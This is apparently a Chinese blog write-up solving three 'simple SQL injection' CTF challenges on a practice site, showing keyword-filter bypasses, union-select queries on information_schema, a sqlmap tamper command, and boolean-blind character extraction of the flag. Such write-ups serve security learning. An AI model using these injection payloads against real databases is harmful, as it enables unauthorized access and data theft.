实验吧之【简单的sql注入 1、2、3】
实验吧的三道sql注入(感觉实验吧大部分web都是注入)
简单的SQL注入
地址:http://ctf5.shiyanbar.com/423/web/
这道题也是sql注入,输入1,页面显示正常,输出1',页面报错
还是走流程把 fuzz下

发现过滤了and union之类的。不过尝试后发现是可以构造双写关键词 uniunionion
下面尝试爆表名和字段,发现他过滤了很多关键字:and,select,from,union,where,这里绕过关键字的方法有:关键字中间加/**/隔断,/*!关键字*/,关键字中间加%0b隔断,关键字重写(关关键字键字),大小写混合等等,尝试后/*!*/可以绕过,
查看数据库:
http:' unionunion selectselect database()'

2.查询数据库中的表
http:

查询字段名
' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag


简单的SQL注入2
地址:http://ctf5.shiyanbar.com/web/index_2.php
还是简单手工测试 输入1 不报错 1' 报错 尝试1' or '1'='1 报错

尝试后 发现过滤了空格
http:

后面发现union和select、#都没过滤 就很简单了
查看数据库
http:'/**/union/**/select/**/database()/**/%23

查看表 发现flag表
http:'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/%23

后面就不贴了 这个也可以直接sqlmap跑
sqlmap.py --tamper=space2comment --dbs

简单的SQL注入3
地址:http://ctf5.shiyanbar.com/web/index_3.php
输入1,页面显示hello,输入1',页面报错
网上说直接sqlmap可以出来 我试了不行 还是手工吧
正确和错误返回的页面不一样 布尔盲注
fuzz一下 发现sleep()应该是过滤了 那么这里需要替换函数

这里既然是布尔盲注可以跑盲注脚本 一个字符一个的试 看了wp 发现还有更好的办法
http:' and (select count(*) from xxx.bb)>0 %23
这里会爆错 得到我们的数据库名

由此我们得知数据库名为web1,
接下里跑表的语句还是
?id' and (select count(*) from 表名)>0 %23
只能简单的拿?id=1' and (select count(*) from flag)>0 %23测试一下,返回了hello说明flag表存在
猜列的手法如出一辙
?id=1'union select 列名 from flag %23可以拿个字段字典放burp里跑,我这里还是进行简单的测试
?id=1'union select flag from flag %23后返回了hello,说明存在flag列
接下来就是最重要的一步——猜字符
?id'and ascii(substr((select flag from flag),1,1))=ASCII%23
对ASCII码进行爆破,值从30到127
猜解得flag
实验吧之【简单的sql注入 1、2、3】的更多相关文章
- 实验吧_简单的sql注入_1、2、3
简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...
- 【实验吧】CTF_Web_简单的SQL注入之3
实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...
- 实验吧简单的SQL注入1,简单的SQL注入
接上面一篇博客. 实验吧简单的sql注入1 题目连接 http://ctf5.shiyanbar.com/423/web/ 同样,直接输入 1加个但引号,结果下面有返回错误, ...
- 实验吧简单的sql注入3
今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了 但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路 ...
- 【实验吧】CTF_Web_简单的SQL注入之1
题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...
- 简单的SQL注入学习
引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- 实验吧—Web——WP之 简单的sql注入之2
直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...
- 一道简单的SQL注入题
这是我真正意义上来说做的第一道SQL题目,感觉从这个题目里还是能学到好多东西的,这里记录一下这个题目的writeup和在其中学到的东西 link:https://www.ichunqiu.com/ba ...
随机推荐
- TestNG(四) 基本注解BeforeSuite和AfterSuite
package com.course.testng; import org.testng.annotations.*; public class BasicAnnotation { @Test //最 ...
- 14 (OC)* UIView和UILayer
总接来说就是如下几点: 1:每个 UIView 内部都有一个 CALayer 在背后提供内容的绘制和显示,并且 UIView 的尺寸样式都由内部的 Layer 所提供.两者都有树状层级结构,layer ...
- 05 (OC) 二叉树 深度优先遍历和广度优先遍历
总结深度优先与广度优先的区别 1.区别 1) 二叉树的深度优先遍历的非递归的通用做法是采用栈,广度优先遍历的非递归的通用做法是采用队列. 2) 深度优先遍历:对每一个可能的分支路径深入到不能再深入 ...
- Vue学习之不同组件之间的消息传递
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- HTTP协议的运行流程
1.HTTP协议的流程是什么样的呢? (1)http客户端发起请求,创建端口 (2)http服务器在端口监听客户端请求 (3)http服务器向客户端返回状态和内容 更详细的请参考大神:https:// ...
- spring注解方式,异常 'sessionFactory' or 'hibernateTemplate' is required的解决方法
做单元测试的时候,抛出异常 Caused by: java.lang.IllegalArgumentException: 'sessionFactory' or 'hibernateTemplate' ...
- 搭建第一个node服务器
1.在项目文件夹根目录创建app.js: (1)先引入模块 const http = require('http');//http是安装好node就有的一个模块,是用来创建http服务器的 (2)创建 ...
- JQuery对于动态生成的标签绑定事件失效
JQuery对整个html文档进行dom操作后,我们要想动态绑定事件,有两种方法 1.在进行dom操作时,在标签中写上onclick="afun()" 2.利用document的操 ...
- JDBC对Mysql utf8mb4字符集的处理
写在前面 在开发微信小程序的时候,评论服务模块希望添加上emoji表情,但是emoji表情是4个字节长度的,所以需要进行设置 当前项目是JAVA编写, 使用JDBC连接操作数据库, 如下针对的JDBC ...
- 基于操作系统原理的Webmin管理工具的安装使用
一.实验目的 1.了解Webmin管理工具的功能. 2.掌握Webmin的安装. 3.掌握Webmin管理工具的使用 二.实验内容 1.下载Webmin安装包. 2.在Linux主机中安装Webmin ...